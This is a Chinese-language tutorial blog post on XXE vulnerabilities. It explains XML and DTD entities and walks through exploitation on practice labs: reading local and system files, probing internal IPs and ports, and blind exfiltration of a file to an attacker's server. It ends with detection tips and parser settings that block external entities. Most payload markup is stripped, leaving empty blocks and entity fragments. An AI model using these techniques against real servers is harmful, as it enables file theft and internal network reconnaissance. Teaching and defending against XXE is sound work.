XXE漏洞原理及防御方式。

目录

1.xml 简单了解

1.1 xml声明

1.2文档类型定义

1.3文档元素

1.4代码详解

2.DTD两种使用方式

2.1内部声明

2.2外部声明

3.DTD实体

3.1内部实体声明引用

3.2外部实体声明引用

3.3参数实体声明引用

4.XXE漏洞原理

5.XXE漏洞利用

5.1读取本地文件

 5.2读取系统文件

5.3内网IP探测

5.4内网端口探测

5.5无回显读取文件

6.如何检测XXE漏洞

6.1人工

6.2工具

7.如何防御XXE

7.1使用开发语言提供的禁用外部实体的方法

7.2过滤用户提交的XML数据


写这篇文章目的就是想认真理理XEE这个漏洞,因为在学习过程中,听过老师的一些课,看过很多文章解释,我觉得讲的都是很官方话或者专业用语,对于初学者理解很难,可能我理解能力不够哈。以下内容仅仅是我个人理解,以及我个人的比喻,比喻可以让你更好理解这个东西,这是我学习的一个方法,可是使的抽象的东西变得比较具体一些。

1.xml 简单了解

XXE这个漏洞的理解,首先我们了解xml文档,因为该漏洞就是由xml文档引起的

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

这个是大家搜索xml时候出现的专业解释,那我简单粗暴理解就是来传输数据的,不过有自己的格式,就跟文章一样,有标题,有正文,有前言,有目录等等。文章是汉字,xml是代码而已。那么xml的格式是什么样子呢,它比写文章简单,只有三个部分,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。接下来我们介绍这个三个部分干什么的。

XXE漏洞原理及防御方式。_第1张图片

1.1 xml声明

就是一个说明,简单介绍自己的,版本信息咯,还有编码信息,一般简单,就像文章标题,反正都得有,就和我一样出门必须的化妆,不然不能见人,哈哈哈,开个玩笑。

1.2文档类型定义

这个就是我们的重点,也是漏洞产生的地方,它有一个简称叫DTD,功能已经说明了文档类型定义,它会定义文档会出现那些子元素、父元素、子元素数据类型、实体等等。!DOCTYPE note 这个note就是父元素,在下面的文档元素里面出现了    ,子元素就是note括号里面就是子元素to,from,heading,body。文档元素子元素是在父元素里面的。子元素数据类型#PCDATA,元素格式都一样,就像南天门左右护法,只不过右护法多了一个长枪。有DTD会让你的xml文档更加规范好看,就跟化妆一样,DTD可以让你有一个正确的化妆顺序,呈现完美容颜,而不是所有化妆品堆在脸上,那你就是风华绝代的石榴姐了。

1.3文档元素

当你有个DTD的时候文档元素呈现就会很规范,那么在子元素中间的,比如John可以认为是xml文档的正文了。

1.4代码详解

  1. 
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    ]>
    
    Tove
    Jani
    Reminder
    Don't forget me this weekend
    

2.DTD两种使用方式

2.1内部声明



  
  
  
  
]>

  George
  John
  Reminder
  Don't forget the meeting!

2.2外部声明




George
John
Reminder
Don't forget the meeting!

note.dtd文件内容是





3.DTD实体

看到实体这两个词了,和我们漏洞有点关系了,很多人不知道实体具体代表的是啥,专业解释就是DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,也可以内部实体声明或外部实体引用,具体先看一个代码。

3.1内部实体声明引用




]>
 
&writer;&right;

实体总结就是产生一个变量 ,定义一个而变量,上述代码中 writer ,right称为实体名,大家可以理解就是一个变量名。“Bill Gates”,"School"这个就是实体内容,也就是变量值。那么这个过程说白了,就是在DTD里面产生了一个变量。将该变量名放入到元素标签中间,就相当于使用该变量了。这种称之为引用实体,和变量使用还是有一点区别,格式:&+实体名+;。具体可以看上面代码,上面代码是内部实体声明

3.2外部实体声明引用




]>
&writer;&right;

外部实体引用就是DTD里面的变量值不是直接在DTD里面给与了,而是需要更加url寻找,寻找之后才能获取变量值。外部实体引用关键词就是SYSTEM.会在system后面放入变量值的url。这里URL还可以使用其他协议,各个脚本支持协议如下。外部实体引用我称之为将外面的变量值引进来。这个过程如果处理不好就会引进坏人的。

XXE漏洞原理及防御方式。_第2张图片

3.3参数实体声明引用

参数实体的实体名前面是有一个%号的,那么引用参数实体的时候需要在dtd里面 其他实体引用在xml文档内。下面的write和right就是一个参数实体,她们的引用格式%+实体名+;。而且在DTD里面进行引用,如果你想在外面引用得有一个过渡。bb就是。




   %write; 
   %right;                                               
]>
&bb;


---------------------------------
en.dat里面内容是

4.XXE漏洞原理

现在我们再来说说XXE漏洞原理就好理解了,某些应用程序允许XML格式的数据输入和解析,因为支持了外部实体的引用,在引用过程中没有做好防范措施,引进了恶意代码,并成功执行,被攻击者进一步利用,那么就产生了危害。

5.XXE漏洞利用

5.1读取本地文件

读取到网站目录下aa.txt文件内容

 



]>

&xxe;

XXE漏洞原理及防御方式。_第3张图片

 5.2读取系统文件

读取window系统文件


 ]>
&goodies;

XXE漏洞原理及防御方式。_第4张图片

读取linux系统文件



]>
&f;

XXE漏洞原理及防御方式。_第5张图片

使用pikachu靶场,如果你是才开始学习渗透的可以在本地搭建一下这个靶场,还有DVWA可以帮助自己对于漏洞的理,也可以在虚拟机里面使用docker镜像搭建靶场,

靶场搭建参考链接:web渗透靶场(pikachu,DVWA)本地搭建环境配置_dreamthe的博客-CSDN博客

5.3内网IP探测

这里我是开了一台虚拟机,开启了http服务。对其进行内网IP和端口探测 ,得到的数据进行base64编码,记得进行解码。可以利用bp软件进行重放,可以对于ip和端口进行遍历

XXE漏洞原理及防御方式。_第6张图片


 ]>
&goodies;

XXE漏洞原理及防御方式。_第7张图片

5.4内网端口探测


 ]>
&goodies;

XXE漏洞原理及防御方式。_第8张图片

将端口变成15就会得到如下内容,因为没有开放15端口。

XXE漏洞原理及防御方式。_第9张图片

5.5无回显读取文件

如果页面没有任何显示的情况下,按照上面的思路读取文件是不行的,那么我们就反向链接,第一步将aa.txt文件内容存入file实体里面,第二步访问外部1.dtd,第三步将file里面内容发送给攻击者。


 


%dtd;
%send;
]>


其中1.dtd的内容如下
"
>
%all;

6.如何检测XXE漏洞

6.1人工

看数据包里的content-type值,比如text/xml ,application/xml.

修改content-type的值 看返回

看传输的数据是否是下面格式

XXE漏洞原理及防御方式。_第10张图片

6.2工具

这里就不多讲,工具可以自己搜搜。

7.如何防御XXE

7.1使用开发语言提供的禁用外部实体的方法


PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


7.2过滤用户提交的XML数据

关键词:

下一篇:文件上传漏洞攻击与防御总结_dreamthe的博客-CSDN博客

你可能感兴趣的:(安全,web安全,xml)